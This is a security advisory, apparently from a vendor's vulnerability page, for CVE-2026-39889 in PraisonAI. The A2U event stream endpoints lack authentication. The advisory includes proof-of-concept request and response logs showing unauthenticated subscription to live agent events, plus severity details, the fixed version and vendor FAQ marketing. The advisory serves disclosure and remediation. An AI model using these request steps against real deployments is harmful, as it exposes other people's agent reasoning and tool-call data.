CVE-2026-39889

The A2U (Agent-to-User) event stream server in PraisonAI exposes all agent activity without authentication. This is a separate component from the gateway server fixed in CVE-2026-34952.

The create_a2u_routes() function registers the following endpoints with NO authentication checks:

• GET /a2u/info , exposes server info and stream names
• POST /a2u/subscribe , creates event stream subscription
• GET /a2u/events/{stream_name}, streams ALL agent events
• GET /a2u/events/sub/{id} , streams events for subscription
• GET /a2u/health , health check

An unauthenticated attacker can:

1. POST /a2u/subscribe → receive subscription_id
2. GET /a2u/events/sub/{subscription_id} → receive live SSE stream
   of all agent events including responses, tool calls, and thinking

This exposes sensitive agent activity including responses, internal reasoning, and tool call arguments to any network attacker.

[1] POST /a2u/subscribe (no auth token)
Status: 200
Response: {"subscription_id":"sub-a1ad8a6edd8b","stream_name":"events",
"stream_url":"http://testserver/a2u/events/sub-a1ad8a6edd8b"}
Got subscription_id: sub-a1ad8a6edd8b

[2] GET /a2u/info (no auth token)
Status: 200
Response: {"name":"A2U Event Stream","version":"1.0.0",
"streams":["events"],"event_types":["agent.started","agent.thinking",
"agent.tool_call","agent.response","agent.completed","agent.error"]}

[3] GET /a2u/health (no auth token)
Status: 200
Response: {"status":"healthy","active_subscriptions":1,"active_streams":1}

Impact: Attacker can subscribe and receive ALL agent events including responses, tool calls, and internal reasoning in real-time

CVE-2026-39889 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.5.115); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-39889? CVE-2026-39889 is a high-severity security vulnerability in praisonai (pip), affecting versions <= 4.5.114. It is fixed in 4.5.115.
2. How severe is CVE-2026-39889? CVE-2026-39889 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of praisonai are affected by CVE-2026-39889? praisonai (pip) versions <= 4.5.114 is affected.
4. Is there a fix for CVE-2026-39889? Yes. CVE-2026-39889 is fixed in 4.5.115. Upgrade to this version or later.
5. Is CVE-2026-39889 exploitable, and should I be worried? Whether CVE-2026-39889 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-39889 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-39889? Upgrade praisonai to 4.5.115 or later.